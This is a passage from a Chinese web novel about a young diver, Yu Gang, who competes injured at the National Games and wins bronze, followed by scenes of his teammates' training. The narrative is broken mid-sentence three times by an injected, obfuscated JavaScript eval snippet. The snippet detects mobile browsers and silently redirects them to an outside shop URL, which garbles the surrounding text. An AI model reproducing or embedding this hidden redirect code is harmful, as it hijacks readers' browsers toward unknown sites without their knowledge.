两人边讨论边看比赛，直到齐亮出场第二跳，动作是5337D（反身翻腾一周半转体三周半任意）。 走板起跳。 入水的角度相当垂直，水花控制的很完美，几乎找不到瑕疵。 随后全场欢呼。 第一个全满分的动作出现了，这一跳一共获得了105分！ 15.全运会 满分动作在参赛选手当中其实没泛起什么波澜，毕竟齐亮刚拿了奥运冠军，这次全运会卫冕似乎也是理所当然的事。 于冈后面几个动作难度还是相对来说低的，除了3.9的5156b之外就几乎没什么难点。 比赛的节奏很快，预赛人比较多35人最后晋级只取前十八。除了第二跳的失误，后面四跳里于冈发挥的都相对正常。总分一共是465.4，排在所有人里的第五名的位次。 而同样代表舟阳比赛的王适辉也发挥的不错，刚好排在前十。前二也毫无悬念是齐亮和陈述。 下午会紧接着比半决赛，中午这点空闲，不是用来临时加练就都是用来休息了。姜广和赵渐鸿本来准备是去看看于冈，但最后两人还是没去，怕给压力，毕竟比赛这才刚开始。 下午两点场馆正常开赛。 姜广在看台上伸了个懒腰，“还有点困呢，下午体育频道好像会转播，旁边那个台子上都有人解说了。” “哟呵，”赵渐鸿看见就觉得新奇，“那于哥不是搞挺好，能上电视了，全国都认识他。” “不过感觉下午竞争也一定会挺激烈的，预赛除了前二其他都没太大差距，如果大家不失误的话，谁拿奖还真不好说。” - 于冈在候场时，隔壁几个省队的选手和他打招呼。他也笑着回应，直到对方递给自己一包零食。 “尝尝吗？我们省的特产。”一人冲他挑挑眉毛。 他接过握在手心里，“谢谢啊。” “别客气，打开尝尝，很好吃的。” 于冈点头，“我待会儿打开，现在马上检录进场了。” “没事，也就一溜烟的工夫。” 于冈低着脑袋，转而抬头朝着对面几个人，一只手捂着肚子，眉头紧皱，“不好意思，我感觉估计是中午吃坏肚子了，这会儿有点不舒服，我去个洗手间，你们待会帮我说一下呗。” “好啊。” 话音落下，对面几人便在于冈转身后黑了脸，“听说是个黑马，之前在H市和白哥一个队的，之前在队里就装清高，结果被教练劝退之后又跑去舟阳了，阴魂不散。” “是啊，当时都把脚摔断了，谁知道还能回来，还在这比赛上遇见。” “晦气，就他那样，估计也出不了成绩，之前白哥好心教他还被当驴肝肺。” …… 于冈转头没去洗手间，就在转角的走廊上待了会儿。那群人他见过几次，是G省省队的，之前在H市和白祁玩一块的，虽然不在一个队伍，但节假日就会在他们队里。 比赛前除了教练给的食物，其他的所有于冈都不会吃。 毕竟因为是大赛，需要谨慎一些。 手里那包零食最后被他丢在了垃圾桶里。直到工作人在点名核对人数时，他才回到了自己的座位上。 回去时那几人还隐约对了对眼神，于冈看见了装作不知道反而弯弯眉眼朝几人笑了笑。 检录结束，正式出场。 看见何企教练时，于冈才松了松绷紧的神经。 “做下热身吧，把身子活动开来。”何企摸了摸他的脑袋。 半决赛他的动作选择和顺序都没有变化，和预赛完全一致。 不出意外的话直到决赛也不会有变化。 于冈自顾自做热身时，眼神不自觉地往身侧的齐亮那看。 他对齐亮的了解仅仅停留在奥运冠军上，毕竟国家队的选手，他目前也没机会认识。 或许是察觉到不远处的目光，齐亮做完热身，就往于冈的方向走，最后停留在他的正前方。 齐亮扭过脑袋，“第一次比赛？以前没看到过你。” 他点点头。 “挺厉害，加油。” 于冈“嗯”了一声，低下头，心底里发狠，今天必须要跳好。 短暂的热身准备时间结束后，比赛正式开始。出场次序是预赛排名的倒序，于冈是第14位出场。 半决赛时，前面出场的选手状态明显比预赛好了不少，第一跳都没什么问题。 于冈依旧有一些紧张，但站上三米板后的楼梯转角时，他用力地深呼吸一口。 “于冈，5154B” 他这接近一年时间里练过无数次的动作，甚至梦里都绑着保护绳在蹦床上练转体。 走板的节奏很好，压板很到位，起跳完全借助了跳板的力度，翻腾转体，空间动作显得轻盈飘逸。 也许是太想做好没一个环节，却在打开入水的环节上，急躁了一些，脚背稍稍不太垂直，极少数的水花顺着脚背往上溅。 实得分最终是三个八分，总得分是81.60。 “别着急啊，你起跳这么充分，你就按照平时训练的样子来跳，别想太多。”何企在他跳完后，看完回放就拍了拍他的后背。 其实这个程度也不算差，只不过和他最高的水准比还有差距。 在热水池里泡着时，他闭着眼睛，放空身体。 他的第二跳是307C也是早上出现明显失误的动作，这会儿没想动作要领，脑子里空空的。 轮到他第二轮比赛时，他心底里抵着一口气，心底里默念了好几遍，“好好跳。” 他的三组失误的原因并不是技术不行，反而只是心底里担心走板失误心理负担太重。三组是反身组别，需要向前跳水向后翻腾，所以运动员无形之中会害怕自己的腾空高度和远度是否能保证自己不碰到跳板。 开始走板时，整个赛场都没有声音。 于冈只能听见自己微微显得急促的呼吸声，起跳相当高。 翻腾速度非常的快，镜头里甩出的水滴形成几道高速旋转的水圈。 打开入水，双手非常垂直的打破水面，整个身子绷得很直，水面几乎没有什么反应，好一会儿才缓缓往上冒出了几个气泡。 于冈看完回放也很兴奋，整个人信心大涨。这一跳最后获得三个9分，得分94.5。 何企也很激动，这么好的动作，也算是于冈横空出世来比赛时的一份强有力的证明。 “后面几跳就记住这个感觉，你动作翻起来又不吃力，放轻松。” 于冈点点头，“我一定会发挥出全部水平的。” 紧接着第三轮，于冈的动作是407C，难度不算大，他跳起来也轻松，动作算不上完美但也在优秀的标准线上。这一跳最后也是获得了83.30。 让于冈稍微有些压力的就是第四跳，难度系数最大的5156B，比第一跳的动作要多转体一周。 对于运动员来说，需要有极强的身体协调性，能够用较快的速度完成转体动作。 上台前教练还特意和他嘱咐了一下，让他放开大胆地跳，这个动作就保证不出现重大失误就可以。 于冈上台前听见了赛前那几个G省的运动员讨论，虽说没有太大声，但似乎是故意等着他到附近才说出口的。 “就他还跳3.9难度，算了吧，别趴着入水让所有人看笑话。” “他上午可还是跳的不错的呢。” “运气好而已，而且上午你没看见他那个腿屈膝屈成什么样了。” …… 于冈想要不在意，但毕竟是高难度的动作，或多或少心理上还是会有些波动。 这个动作在他出场前有几个人做了，但今天下午发挥的都不理想，无疑给了他更大的压力。 他这一跳需要相当充分的起跳高度。 “别着急。”他低着头默念。 这一次他准备的时间稍稍长了一些，所有观众的目光似乎都聚集在他的身上。 解说这会儿也屏息以待，“又是一个高难度的动作，来自舟阳的小将今年只有十七岁，来期待一下他的这一跳。” 一如既往的走板，绷直身子压板起跳，跳板反弹的声音很有节奏，说明这次的用板很到位。 翻腾一周，转体一周，两周，三周，紧接着一周半的翻腾，其次就是顺利打开入水。 “好的，这个17岁的小将今天发挥的是相当不错，毕竟我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272971|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他成套难度其实不算太高，只在五组的动作上有一些优势，所以这一跳的好坏，对他来说至关重要。” “这一跳最后是得到了三个八分的实得分，总分一共是93.6啊，这就是高难度动作的魅力，即便没有做到极致，但稳定发挥就会有一个非常不错的分数。” 后面的两跳对于冈来说算是入门级别的动作，一般都会出现在女子跳板的比赛里。 难关对他来说已经解决了百分之八十。 第四轮结束后，整体排名齐亮是第一位，于冈则是因为四跳都比较稳定的发挥一跃而上保持在了第二位。 最后两轮他的动作分别是107B和205B，难度系数都比较低。正常比赛里男子三米板的一组动作都会选择109C和207C这类动作来保证整套难度能够和其他运动员竞争。 但于冈一组和二组目前感觉都不太好，一组能做四周半但不稳定，只能退而求其次选择三周半屈体。 更别提二组向后跳水的动作，只能进一步追求保险选择跳一个两周半的动作。 第五轮的107于冈跳的很轻松，几乎完成的没什么压力，唯一的瑕疵就是压水花时他有点松劲。 这一跳依旧算是稳定发挥，最后得分获得了72分。 整个五轮后，于冈总分425在国际上这个分数也还算不错，具备竞争奖牌的实力。 “最后是怎么回事？”何企问他。 他摇摇脑袋，“我本来觉得跳的都挺好的，就是最后入水脚踝那儿有点疼，我就没完全绷住。” “很疼吗？” “现在这会儿好一点点了。” 何企给他揉了揉，最后又多缠了好几圈绷带。“最后一跳，反正难度也不大，你就放轻松点，不用冲的太猛了，先保证完赛，待会儿比完了我们再一块去看看你的脚是怎么回事。” 于冈点点脑袋。 最后一轮比赛紧接着便开始。 他在二米的楼梯上等待时脑子里想的是动作，于是便在动作要领的指引下做划臂训练。 结果脚尖绷紧的一刹那，感受到的是钻心剜骨的疼。一瞬间眼睛通红，泪水充盈在眼球周围。 这会儿没法放弃。 他低着脑袋，咬咬牙。 “来让我们看一下整场发挥的都很不错的于冈，最后一跳是205B，向后跳水两周半，难度系数3.0。” “难度不难，就看发挥的水准怎么样了，进决赛应该是没什么问题的。” 走上跳板时，于冈能够感受到自己的脚踝隐隐作响，似乎是在叽叽喳喳的劝他放弃。 但都到这儿了。 最后一跳了。 谁会放弃？他反正不会，哪怕趴着入水，他也要跳。 背对水面时，他脑海里的所有想法瞬间一消而散。 顷刻，他全身只记得205这个动作。 压板起跳。 很明显，这一跳的动作起跳高度不够充分，特别是绷直脚背做屈体动作时，屈膝的小动作极其明显。 直到入水，整个动作都是瑕疵。 从池子里游到岸边时，他眼睛红的厉害，也给自己鼓了鼓掌。 这一跳最后得分是两个五分一个四点五，单跳总分43.50。 比赛结束何企就立马上前，详细的问具体情况。 “很可惜，这一跳出现了失误。应该是有受到伤病的影响，我们可以看到镜头里是他的教练何企教练，现在在为他做一点基础的治疗。” 但好在前五跳的平稳发挥，于冈最终的总成绩是468.50分，最后排名第七晋级第二天的决赛。 “比赛前我就挺疼的，但是我不想放弃，硬着头皮跳完了，所以没跳好。”于冈在何企帮他拆绷带时轻声道歉。 何企抬头，“没事，今天很好了，体育竞赛就是会有各种各样的意外。哪个运动员都会有伤病，都会有状态低迷的时候。谁能永远都厉害的啊，待会就去医院把问题解决了，明天决赛我们也不逞强，尽力就行。” 16.全运会 在决赛这种节骨眼上出现伤病无疑是一个重大的打击，但去医院检查后，也许是万分之一的侥幸，只是肌肉劳损，没有出现韧带断裂之类的大毛病。 医生的建议也就是多休息休息，暂时可以不要进行剧烈运动。紧接着开了点药，回去拿热水敷一敷。 回到酒店时，于冈就听到说半决赛有好几个人尿检有问题，而且还都是第一次出来比赛的选手。 很明显是那一群人的杰作，虽说会进行调查，但半决赛的成绩肯定不能算，自然而然就从后几位的选手里往上递补。 何企忙前忙后都在照顾于冈这只仍然还在隐隐做痛的脚踝，拿的热毛巾也很烫，刚放上去于冈就猛地动了动腿。 “烫吗？”何企问他。 他点点头又摇头，“还行，但是刚放肯定觉得烫。” “明天还去不去，我不帮你做决定。虽然我肯定希望你把伤养好，毕竟如果加重的话以后训练和比赛会更难。” 于冈低着脑袋，听完又扭头盯着何教练看，凝视好好一会儿，“这时候我真的不想放弃。从入队到现在，整整有一年的时间了。但我学跳水已经六七年了，从我在H市队里练习时，我就是以拿大赛冠军为目标不停地努力。哪怕中间遇到了各种问题，一度还觉得我不适合跳水。但我都挺过来了，好不容易来到舟阳，又有了一次来之不易的机会，我真的没办法说服我自己放弃。” “何教，如果现在站在比赛场上的是你，你会放弃吗？” 何企久久的沉默。 于冈依旧低着脑袋，仿佛是一个做错事的小孩儿，眼睛偷偷地看着何企，依旧保留着一丝期待。 “我们尽力就行，哪怕打封闭，哪怕摔着入水，都是你自己选的路，不后悔就行。我们已经把这一年的成果展示给了大家，你在我心中已经是冠军了。” 于冈伸手抱了抱何企，他一直是个坚强的人。从前被教练骂没有天赋，从体操转到跳水又被队友孤立，这一路是怎样的不易，其他人都不知道，他自己也只是笑一笑就过去了。 今天晚上是他第一次彻头彻尾的显露自己脆弱的一面，他埋在何企怀里哭，哭的大声，哭的歇斯底里。直到嗓子哑了才红着眼睛小声地对何企说：“我想赢！” “没关系，今天好好休息，明天我们赢给说你不好的所有人看。运动员就要憋着这股气，然后漂亮地把这股气吐出来。” “嗯，谢谢教练，真的很谢谢你。” 何企笑了笑，用力地揉了揉于冈的头发，“明天拿奖牌再谢谢我吧。” - 隔天一早，于冈从起床就能感受到今天发挥可能不会太好。脚踝的伤像是更严重了些，走路都不免一瘸一拐。 何企看见了只觉得心疼，但运动员与伤病抗争，用意志力在赛场上拼，是一件很平常的事。 比赛前刻苦训练却摔断手脚的运动员，简直数不胜数。竞技赛场上，总有人流泪有人欢呼。 何企一直没说话只是默默地又给他敷了敷脚踝，晚一些时间会缠上两圈肌贴。尽量让这个位置的影响减少一些。 这场比赛何企已经没有任何要求，战胜自己就是一个漂亮的“胜仗”。 决赛赛场的观众明显多了不少，而且这个时间段的赛事转播也给了跳水这个项目。相当于目前会有成千上万的观众，关注这场比赛的结果。 而备受瞩目的自然则是刚拿了奥运冠军和季军的齐亮和陈述。从候场时便受到了所有选手的关注，于冈也随着大家的视线观察。 也听见齐亮笑嘻嘻地和他人交谈，说道自己前段时间腰伤复发，疼的都不能训练，最近才恢复训练，这两场其实都没有跳出自己最好的水平。 于冈却在心底里为齐亮高兴，因为能够克服伤病保持依旧高水准的竞技水平，无疑是一件非常厉害的事情。 检录进场后，比赛正式开始。 “观众朋友们大家好，这里是中央电视台体育频道，目前为大家转播的是2009年全国运动会跳水男子三米板的比赛，现在比赛即将开始，让我们期待一下各位选手的发挥。” “首先出场的是来自H市的罗小宇，半决赛是排在十二名，压线晋级。这一跳的动作是407C，向内跳水三周半抱膝。” 此时于冈依旧默默的在热身，上场前何企给了他一颗止疼药，不能多吃，也只能治标不治本地缓解一下症状。 “别想太多，把平时的动作跳出来就行。” 于冈点点头，又蹲下身揉了揉自己的脚踝，“没事，现在好多了。” 他今天的成套动作依旧没有变化，如果说要为了降难度保平安，他大概率没有任何机会站上领奖台。 所以对他来说，今天3.9难度的5156是无论如何都得要放在成套动作里的。 半决赛排名第七，决赛是第六个上场。目前上场的选手状态都非常好，能够明显的感觉到动作比前两场比赛要放的开，跳的更有力，更充分。 于冈成套动作顺序也没有变化，第一跳依旧是3.4难度的5154B，向前翻腾两周半转体两周屈体。 轮到他上场时，何企在台下朝他点了点头。对他来说今天的比赛，唯一的问题不是动作，而是他需要忘记自己的伤，强硬着把那点伤痛抛在脑后，不保留任何一丝的顾虑。 如果运动员自己本身就不自信，心底里有重重的包袱，那就算跳好了这一跳也还是提心吊胆的，下一跳还是会被压力击垮。 “来我们看一下于冈，这位年仅17岁的小将这一跳的发挥，在半决赛他这一跳有着非常亮眼的发挥，看看决赛的状态调动的怎么样啊。” 于冈调整好跳板便开始准备自己的动作，赛前他都没有关注第一名是多少分数，他这一次只和自己比。 走板，起跳。 “感觉是有一点受到昨天半决赛的伤病的影响，从走板开始节奏就有一点乱，左脚的脚趾在起跳时已经冲出去了，所以就导致起跳高度其实有一点欠缺，入水角度最后也稍稍欠一些。来看看最后的得分，七个裁判里两个七分剩下的全部都是六点五，最后得分是66.30分。” “对比半决赛的表现来看，还不是他最好的水准，希望他能尽快调整状态，后面五跳发挥出自己的实力。” 这个分数目前排在出场选手里的最后一位，于冈看了一眼没放在心上，毕竟后面还有五跳。 “还可以，就是走板你肯定是太紧张了，走的很快，但起跳其实用板还是不错的，慢慢来适应一下比赛节奏，不着急。”何企拍拍他的肩膀，朝他笑了笑。 于冈甩了甩还在滴水的头发，又蹲着揉了揉自己的脚踝，要说完全没影响也是不可能的，但目前已经算是不错的开局了，起码动作是顺利跳下来了。 第一轮结束，由于大家发挥的都很好，都没有大的失误，于冈稍稍的小失误就排在了第十二名。 特别是目前排在陈述之后的何步，第一跳就得到了三个九分，总分一共拿到了91.80，和前两名也就几分的差距。 也算是半决赛后杀出来的一匹黑马。 第二跳于冈的动作是307C，他一直以来的难点，这个组别动作的规格和质量总是不太理想。 何步在他之前上场，第二跳的5337d也同样完美发挥，获得了91分高分。 对于冈来说，压力无形之中又大了一些。三组本就是不擅长的动作，这会儿心率飙升的厉害，他只能尽量多做几次深呼吸，让情绪平复。 “我们来看一下于冈的第二跳，307C反身翻腾三周半抱膝，难度系数3.5，昨天半决赛这一跳其实也有不错的发挥，但是初赛这一跳出现了一点问题，相对来说这个动作可能还不是非常稳定。” 又是立定起跳的动作，对压板起跳的动作要求会相当高，不然起跳高度不足，往往难以支撑自己要完成的动作。 “让我们屏息以待。” 起跳，高度很不错。但不知道是不是脚踝的影响，导致他的翻腾速度慢了一些，虽然也顺利完成了动作，但入水时给裁判的感觉就是完成的很吃力。 即便入水的水花很小，最后也只获得了三个七分，这一跳总分是73.5。 这一轮结束，排名前三的名次发生了变化，何步的完美发挥已经超过了陈述3.5分，暂时排在第二位。 于冈则依旧排在最后的位次，相差第一名的齐亮接近50分。 何企在旁边安慰他，“没关系，跳板这个项目不到最后名次都定不下来的。而且每个选手擅长的组别动作都不一样，排序也不同，每一轮的排名都只是一个阶段性的结果而已。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297850|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “没事，我把后面四跳跳好就行，发挥出自己的水准，让电视前的观众觉得我也是个不错的选手，我就赢了。” “加油，加油！” 第三轮比赛开始，接连好几个选手都在自己的大难度轮次上出现了失误，甚至有人从走板上就失误，一次没跳完返回跳第二次，实得分自然就是不太高。 于冈的动作也不算难，3.4难度价值的407C，算得上是他比较擅长的动作之一。 “好的，接来下比赛的是于冈，前两跳或多或少都有一些失误，看这一跳调整的怎么样。” 于冈这时候已经没有任何多余的想法，完全沉浸在自己的动作里，当成训练去跳。 “起跳高度非常的高啊，空中姿态没有毛病，入水角度相当垂直，水花控制的也非常不错。这一跳完全把他的实力发挥出来了，三个九分，总共获得91.8分，他今天的第一个超90的动作，也一定会给他鼓足士气啊！恭喜于冈。” 第三轮结束，何步因为这一轮5156的正常发挥依旧排在第二的位置，领先于冈依旧有超三十分。于冈则是从十二名已经往上提升到了第八名。 紧接着便是他全套里最难的动作，难度系数高达3.9的5156b，这个动作齐亮在第三轮跳过了，也发挥的相当完美，获得了超百分的分数。 于冈对于自己来说，目前也没那么高要求，能尽可能的做到最好就行。 第四轮何步在307上出现了小小的失误，最后只得到了75.25的分数。 因为动作很难，轮到于冈时，在一瞬间全场屏息以待。 走板，起跳，翻腾，转体。 直到入水都展示了一个高规格的完成度，如果要鸡蛋里挑骨头，那就是水花还能压的更死一些。 “我们看看这一跳的分数，实得分三个8.5，总分99.45，很高的分数啊，又是一个接近一百的分数，于冈调整的非常不错啊。小小年纪初次比赛，就给大家展现了一颗大心脏。” 第四轮结束，何步因为失误名次下滑到第三名，但与第二名的陈述也只有0.75分的差距，完全没有拉大差距，依旧对奖牌有相当大的冲击力。而于冈依旧依靠自己这一跳的发挥，名次上升到了第五位，与何步相比也只有不到十分的差距，与第四名也只差不到三分。 最后两跳，于冈的难度比较低，需要有一个高质量的完成。先是3.1的107b，完成的马马虎虎，算得上是一个正常发挥，最后获得了79.05分。 而相较于何步来说还是有十几分的差距，但这一轮次依旧有好几个选手出现大大小小的失误，于冈的位次往上提升了一位，暂时排在了第四。 来到最后一跳。 何步先上场，动作是难度价值3.8的109C，非常难得动作，需要翻腾四周半，无疑需要一个充足的起跳，来支撑他获得足够快的翻腾速度，最终完成四周半的动作。 但何步估计心态上还是有些波动，走板就有小问题的出现，直到起跳都在补救。动作中每一个环节都有些脱节，最后完成的就比较勉强。 最后也只得到三个六分，单跳得分68.4，总分定格在494.75分，也是一个非常不错的成绩。 对于冈来说，最后一跳难度只有3.0，其实竞争力不大，发挥出自己的水准就好。反正目前为止，也赛出他比较好的水准了。 “我们再来关注于冈，第五轮结束暂列第四，和何步有十几分的差距。但是今天给大家显露的竞技水准还是非常高的，在自己半决赛出现了伤病的情况下，依旧保持的很好的稳定度和发挥，值得大家给他点一个赞。” “好的，比赛开始，这一跳是难度系数3.0的205B。” “好的！这一跳几乎挑不出什么毛病，连水花都没怎么冒出来，这么看第三的争夺还是保留着悬念啊，就看评委打分了！” “这看的有些热血沸腾啊，分数出来了！观众朋友们，满分动作再一次出现了！！！于冈在这一跳得到了90分，是一个能够放进教科书里当做范例的水准啊！” “让我们再一次恭喜于冈！” 等到齐亮的最后一跳结束，整场比赛也顺利结束，大屏幕亮出最终排名。 “铜牌于冈得分：500.10” 17.屈体冰棍训练 姜广他们是在看台上全程关注这场比赛的，从昨天注意到于冈脚有点伤之后，就完全打消了完赛前见面的想法。 决赛的每一跳姜广和赵渐鸿看的都比跳的人要紧张，拳头攥的很紧，以致于汗水闷在手心里化作水珠。 最终排名出来后，两人激动地怒吼，仿佛站上领奖台的是他们俩一般。周围人全被他俩突然的欢呼给吓了一跳。 他们的视角里可以很清楚的看见于冈跑向何企的画面，于冈埋在教练肩头，估计是激动地哭了。 运动员跳水生涯里能跳出满分的瞬间自然是屈指可数的，需要有极其娴熟的技术的同时，还需要有一个平稳的发挥。 更别说于冈是在看起来没有希望的时候，状态爆发，逆转了比赛结果。 比赛结束后，运动员继续去做赛后的尿检和准备，颁奖仪式在半个小时后。 但可惜姜广和赵渐鸿没有去到后台的机会，所以想要见到于冈还得等到所有人退场以后，在跳水馆前慢慢等。 颁奖仪式结束后，运动员会参加记者的采访。虽然大部分记者依旧会把镜头给到获得冠军的齐亮，但于冈也同样需要在场。 姜广和赵渐鸿此刻就在场馆的出口等，蹲在一旁的垃圾桶边上，因为那是唯一有一点阴凉的地儿。 等了接近一个小时，才看见于冈和何企教练。突然看见姜广他们，于冈第一时间也很激动。 “你们怎么来了。”于冈问。 赵渐鸿眯着眼睛笑，“偷偷跑过来的，没告诉你，怕你有压力，结果你可真牛，看的我俩都沸腾了。” “确实，能给我们看看奖牌吗？”姜广抬起双手接奖牌。 何企这时候在旁边笑，“你们俩不好好训练，跑过来看比赛，等被余导看到了，你们俩可得被骂一顿。” “没事，他不在呢。”姜广笑着摆手，另一只手把奖牌挂在了自己脖子上，“来，鸿哥帮我拿相机和于哥合个影。” 相机是姜广从家里带来的数码相机，他爸姜肃新买的，拿给他时还依依不舍的，嘱咐了好几十遍让他保管好咯。 姜广应了下来，但也没太小心翼翼，该用就用，看比赛时就一顿拍，没停过。如果太小心翼翼，反而容易出现点意外来。 “看这里。”赵渐鸿半蹲着身子一连按了好多次快门。 紧接着就把相机塞给姜广，“好了，好了，给我也拍一张。” 几人拍了好一顿，于冈本说还想带着他们俩去逛逛的，但他俩拒绝了，因为下午三点的火车，时间紧张，这会儿也没空玩，只能匆匆赶到火车站。 跳水这个项目的比赛还在进行，舟阳跳水队也没这么早回去，得所有比赛结束后统一回去。 五天后，全运会跳水项目的所有比赛结束。舟阳跳水队分别在女子十米台、三米板，男子三米板上取得了一金一银一铜的优异成绩。 市里对这个成绩表示了祝贺，并且之前一直暂缓的训练场设备翻新的提案这两天也极为顺利的批复下来了。 这样的成绩也确实有鼓舞士气的作用，也让国家队看到了舟阳市一如既往强大的实力，于冈几人的表现也已经有国家队的教练来联系，表示希望他们去到国家队参加训练，以备战明年的跳水世界杯。 全运会的目的除了各个省份的竞争外，也同时是在物色有天赋的选手，作为下一届奥运或者世锦赛等国际大赛的储备力量。也能够保证队伍里新老队员的正常交替更新。 国家队目前的主要目的是放在备战世锦赛和世界杯的国际大赛上，而对于舟阳来说目标还在十二月份的全国跳水俱乐部锦标赛上。 于冈和女子十米台的苏虹，三米板的陆纯去国家队时，队里也给他们举办了一个盛大的欢送会。大家也为他们感到高兴，毕竟对于运动员来说能够顺利去到国家队，无疑是距离奥运会这种世界级别的赛场更近了一步。 “于哥，下次希望你能拿世界冠军。”姜广最后抱了抱于冈。 于冈低着脑袋，“你们也要加油，舟阳跳水队里都是高手，包括你们，希望能够在国家队早点看到你们。” “嗯。”他重重地点头。 - 全运会的热度彻底散去后，舟阳由于几个项目里优秀的选手都被国家队看上了，目前队里的实力自然也回落了不少。 而接下来的全国俱乐部锦标赛，又会是各个跳水队伍共同的目标，毕竟这个比赛国家队的主力往往不会参赛，对于每个队伍都是相对平等的起跑线。虽说含金量会低一些，但对于省队或者市队的水平来说依旧是一次相当重要的比赛。 余庆丰自然也在市里各个学校组织跳水选拔，准备物色新一批跳水的苗子。同时也和市里达成一致，舟阳跳水队并入市体校。也就能够保证入队的同学，学习也不落下，同时吃住免费，每个月还有几百块的补贴。 姜广和赵渐鸿这段时间都在一块训练，姜广也暂时放在赵渐鸿的教练孔教练低下训练。 “这么久没上强度，先压压腿和膝盖，你刚刚做动作，没有感觉到屈膝了吗？特别是赵渐鸿你那个腿分的比谁都大，虽然你最近刚恢复好，但这也不是理由，来这训练了，那就做好，你们俩清不清楚？”孔教练盯着他们说。 “开始，互相帮助，做两组，找到正确的那个感觉。” 姜广确实这段时间练的也少，毕竟他和赵渐鸿的手脚都刚好不久，恢复训练做完了，才慢慢开始正常的训练。 他目前的难度还没上来，比起赵渐鸿来说，这些天的目标还是学新动作，然后上跳台跳个几百次，熟悉动作的每个环节。 他那个系统也是不常出现，总在他需要学习新动作前才猛地冒出来发布任务，任务内容也都是所谓掌握某个动作，做到8分以上的水准就算成功。 这几天他都攒了好几张伤病消失卡了，姜广默默把他这个系统打上了“冷漠的奖励机器”的标签。 基础的压脚尖和膝盖训练结束后，紧接着就是在训练馆的海绵坑上做“冰棍训练”。冰棍训练就是指身体姿态贴合的像“冰棍”，在陆台和陆网做起跳的训练。 需要保证起跳是身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306916|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体姿态依旧保持笔直，最后困在指定得方框内。训练的目的也就是为了有一个对于起跳位置良好的把控。 “来，姜广你先，先做一组再做二组，姿态先做直体。”陆教练拿着一个小蜜蜂扩音器冲他喊。 姜广默默照做，刚跳完。 “你划臂怎么划的，这段时间没让你练这种基础训练，全忘了是吧。手贴紧，贴在耳边边上，你刚刚松劲了，再来一遍。” “好。”他低着头呼一口气，抬头，微微踮脚，手贴在耳边，屈膝起跳的同时手臂往下划动，直到落在框里划完整整一圈半，手此时贴在大腿上。 “还可以哈，但是身子的重心还要控制一下，现在还只是在陆台的海绵上，这都不行的话，等你到跳台那不是更加控制不住。下一个，赵渐鸿你一样的跳两组，你比姜广练的久那么多，要求可不一样哈。” 赵渐鸿的直体冰棍训练做的很标准，身子在空中相当笔挺，看上去就很美观。 “好，可以不错。那给你分配一下任务，你今天复习一下109抱膝，待会儿晚点去跳台上看看跳的怎么样，现在这会儿再想一想动作技术和要领，可以到网上练，我找个人给你拉保护带。” “好的。” 109C对于男子跳台来说，是一个必须要攻克的动作。对于男子来说如果选择107屈体，难度只有3.0，会大大降低竞争力，所以要想成为能够展露头脚的运动员，109抱膝是一个基础动作，不仅要会还要好。 “好了，姜广你过来，之前你是学了105对吧，那今天来试着做一下107B好了，先做屈体训练吧，感受一下屈体的感觉，紧接着我们到保护绳上学动作。” 屈体同样也有一样的冰棍训练，首先在垫子上把身子叠紧，孔教练这时候还要往下压一压他的背，直到手臂伸直，指尖能够摸到脚背，胸部与双腿直接没有缝隙，才算是一个好的屈体动作。 紧接着便是，身子可以起来，手可以撑地，但双腿持续绷紧往上抬，脚尖和膝盖都蹦直，保持至少三十秒，做三到四次。 “好了，休息一分钟，待会儿进阶一下，手不要扶垫子了哈，手待会儿要碰到脚背，可以抖但不能泄劲倒下来。” 这个训练很难做，因为需要极其强的核心，毕竟力量几乎都是从腹部发出来的。姜广好在从前体操也学屈体，算是能够迁移，还能完完整整的练下来。 “坚持，三十秒倒计时，手指再往前伸一伸，还没碰到脚背。稳住，不着急，腹部发力，二十秒，十秒，好，休息吧。” 姜广泄下劲来，整个身子都是软的。 “好了，一分钟休息，结束以后来做划臂训练，和直体一样，只不过你划臂过后恢复成准备动作时，需要加一个动作，左腿往上抬伸直，直到和地面的夹角在九十度。然后你的身子往下叠，需要摸到左脚脚尖。然后再次恢复准备动作，同样的，左腿做完就换右脚，交替先做整套动作五次。” “明白了吗？”陆教练问他。 他点头点的很用力，“明白了。” 18.训练 “一二三四五六七八……” 孔教练的声音节奏控制的很好，姜广动作都随着节奏做的很顺畅。这种训练在他们日常训练里常规的不能再常规，但每个动作都得做标准，有一点偏差都会被教练给揪出来。 冰棍训练结束，正式开始进入新动作的学习。同样的会用到保护绳，在保护绳上训练，主要是感受一下在空中的感觉，之后才会转跳台上练。 107b是个女子跳台里都非常常见的动作，所以对于男子来说，动作的难度不太大，但也是学习过程中必不缺少的一个环节。 这个动作结束后，也就会跟着往上加难度，比如三周半都完成的很轻松，就会考虑学习四周半的动作。 